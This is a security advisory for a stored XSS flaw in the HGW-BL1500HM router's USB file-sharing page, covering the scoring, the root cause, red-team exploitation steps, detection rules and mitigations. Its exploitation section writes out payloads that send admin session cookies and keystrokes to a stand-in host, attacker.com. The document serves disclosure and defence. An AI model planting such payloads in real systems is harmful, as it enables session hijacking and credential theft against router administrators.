CVE-2025-27574
Executive Summary
CVE-2025-27574 is a stored Cross-Site Scripting (XSS) vulnerability in the USB storage file-sharing function of the HGW-BL1500HM router, affecting firmware version 002.002.003 and earlier. An attacker on the local network (LAN) can inject malicious scripts into file names or metadata stored on a USB drive shared via the router’s file-sharing feature. When an administrator accesses the configuration page or LAN-side functions, the script executes in their browser, potentially leading to session hijacking, credential theft, or further internal network compromise. The CVSS score is 3.6 (Low), but the risk is elevated due to the lack of a known patch and the device’s role as a network gateway.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
- Base Score: 3.6 (Low)
- Attack Vector (AV): Adjacent Network (A) – attacker must be on the same LAN.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed to upload files.
- User Interaction (UI): Required (R) – victim must access the configuration page.
- Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
- Confidentiality (C): Low (L) – limited data exposure possible.
- Integrity (I): None (N) – no direct data modification.
- Availability (A): None (N) – no denial of service.
Threat Level: Low (CVSS 3.6) but with high potential for lateral movement if combined with other vulnerabilities.
Deep Dive & Mechanics
The vulnerability resides in the USB storage file-sharing function of the HGW-BL1500HM router. The router exposes a web-based interface for managing files on attached USB drives. When a user browses the shared files, the router’s web server renders file names and metadata without proper sanitization. An attacker can create a file with a malicious name containing JavaScript (e.g., <script>alert('XSS')</script>.txt). When an administrator accesses the file list via the LAN-side configuration page, the script executes in the context of the admin’s session.
Attack Flow:
- Attacker connects to the LAN (e.g., via compromised device or physical access).
- Attacker mounts the USB share (e.g., SMB/CIFS) and creates a file with a malicious name.
- Administrator logs into the router’s web interface and navigates to the USB file-sharing page.
- The malicious file name is rendered without encoding, causing the script to execute.
- The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.
Root Cause: Lack of output encoding in the file name display logic. The router’s web application does not HTML-encode file names before rendering them in the browser.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: file name directly echoed
echo "<tr><td>" . $file_name . "</td></tr>";
Patched Code (Conceptual):
// Patched: HTML-encode the file name
echo "<tr><td>" . htmlspecialchars($file_name, ENT_QUOTES, 'UTF-8') . "</td></tr>";
Note: No official patch is available. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- HGW-BL1500HM router with firmware 002.002.003.
- Attacker machine (Kali Linux) on the same LAN.
- USB drive formatted as FAT32/NTFS.
- Victim machine (Windows/Linux) to simulate admin access.
Exploitation Steps:
- Connect the USB drive to the router.
- From the attacker machine, mount the SMB share:
sudo mount -t cifs //192.168.1.1/usb /mnt/usb -o username=guest - Create a malicious file:
echo "malicious" > "/mnt/usb/<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>.txt" - Unmount the share.
- Victim (admin) logs into the router’s web interface (e.g., http://192.168.1.1) and navigates to the USB file-sharing page.
- The script executes, sending the admin’s session cookie to the attacker’s server.
Alternative Payload (Keylogging):
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/keylog?key=' + e.key);
}
</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual file names on USB shares (e.g., containing
<script>tags). - Use network monitoring to detect outbound connections to unknown IPs from the router’s admin interface.
- Enable web application firewall (WAF) rules to block XSS payloads in file names.
Mitigation:
- Disable USB file-sharing if not required.
- Restrict LAN access to the router’s admin interface via ACLs.
- Apply input validation and output encoding if custom firmware is used.
Indicators of Compromise (IOCs)
- File Names: Files containing
<script>,onerror=,javascript:in their names. - Network Traffic: HTTP requests from the router’s IP to external domains with parameters like
?cookie=or?key=. - Logs: Web server logs showing requests to
/usbor similar endpoints with encoded XSS payloads. - Processes: Unusual JavaScript execution in the browser when accessing the router’s configuration page.
Detection Engineering
YARA Rule
rule CVE_2025_27574_XSS_FileName {
meta:
description = "Detects malicious file names indicative of CVE-2025-27574 XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-27574"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-27574 XSS via USB File Name
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to HGW-BL1500HM USB file-sharing page with XSS payloads in file names
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/usb*'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate file names containing similar patterns (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27574 XSS via USB File Name"; flow:to_server,established; content:"GET"; http_method; content:"/usb"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the USB file-sharing function on the router if not essential.
- Network Segmentation: Isolate the router’s admin interface from untrusted LAN segments.
- Firmware Update: Monitor the vendor’s website for a patched firmware version. If none is available, consider replacing the device.
- Input Validation: If custom firmware is used, implement strict input validation and output encoding for all file names.
- User Awareness: Train administrators to avoid accessing the USB file-sharing page with untrusted USB drives attached.
- WAF Rules: Deploy a web application firewall to block XSS payloads in HTTP requests to the router.
Valters IT – Securing digital frontiers with precision and expertise.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.